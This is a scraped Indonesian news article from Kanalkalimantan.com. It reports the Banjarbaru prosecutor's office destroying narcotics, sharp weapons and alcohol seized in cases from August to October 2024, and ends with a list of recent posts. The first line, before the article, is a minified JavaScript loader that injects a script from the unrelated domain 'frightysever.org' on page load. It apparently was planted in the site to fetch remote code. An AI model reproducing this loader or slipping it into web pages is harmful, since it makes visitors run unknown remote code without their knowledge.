(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejari Banjarbaru Musnahkan Narkotika dan Miras Barbuk Agustus-Oktober 2024


KANALKALIMANTAN.COM, BANJARBARU – Kejaksaan Negeri (Kejari) Kota Banjarbaru memusnahkan barang bukti dan barang rampasan hasil dari sejumlah kasus kejahatan di Kota Banjarbaru periode Agustus hingga Oktober 2024.

Pemusnahan barang bukti dilakukan di halaman Kantor Kejaksaan Negeri Kota Banjarbaru, Rabu (13/11/2024) siang.

Dalam kegiatan ini dimusnahkan narkotika, senjata tajam (sajam), dan minuman keras dari perkara tindak pidana umum yang telah mempunyai kekuatan hukum tetap.

Kepala Kejaksaan Negeri (Kajari) Banjarbaru, Hadiyanto menyebutkan, barang bukti narkotika yang dimusnahkan meliputi sabu sebesar 236,68 gram, ekstasi 140 butir, karisoprodol 781 butir, zenith 369 butir,  dan narkotika jenis lain 14 butir.

Baca juga: Muncul Menang Mundur Paman Birin di Sisa Jabatan 3 Bulan

“Narkotika itu didapati dari 58 perkara yang terjadi selama bulan Agustus-Oktober 2024 di Kota Banjarbaru,” ungkap Kajari Banjarbaru, Hadiyanto.

Kemudian barang bukti sajam didapati dari 11 perkara, dengan rincian sajam jenis celurit sebanyak dua buah, parang dua buah, pisau tiga buah, dan sajam
jenis lainnya tiga buah.

Pemusnahan barang bukti dan barang rampasan tindak pidana umum di Kota Banjarbaru periode Agustus-Oktober oleh Kejari Banjarbaru, Rabu (13/11/2024). Foto: Kejari Banjarbaru

Sedangkan untuk minuman keras di dalam botol total didapati sebanyak 19 botol dan minuman beralkohol jenis tuak total sebanyak 119 liter.

Baca juga: Ini Alasan Paman Birin Mundur Sebagai Gubernur Kalsel

“Ada pula alkohol 95% sebanyak 1,36 liter didapat dari delapan perkara tindak pidana ringan. Serta berbagai jenis barang bukti kejahatan lainnya dari tujuh perkara misalnya pakaian yang dipakai, tas, sendal, kunci pas, dan gunting,” jelas dia.

Pemusnahan barang bukti dan barang rampasan tindak pidana umum di Kota Banjarbaru periode Agustus-Oktober oleh Kejari Banjarbaru, Rabu (13/11/2024). Foto: Kejari Banjarbaru

Kajari menjelaskan dalam kegiatan pemusnahan ini dilaksanakan bersama dengan unsur instansi terkait antara lain Pengadilan Negeri Banjarbaru, Polres Banjarbaru, BNN Kota Banjarbaru, Satpol PP Kota Banjarbaru, Ketua MUI Kota Banjarbaru, dan Dinkes Kota Banjarbaru.

“Kegiatan berjalan lancar dengan tujuan pemusnahan barang bukti dan barang rampasan ini yakni untuk dimusnahkan atau dirusak sehingga tidak dapat dipergunakan lagi,” tuntas Kajari. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

6 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

6 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

11 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

12 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

12 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

13 jam ago

This website uses cookies.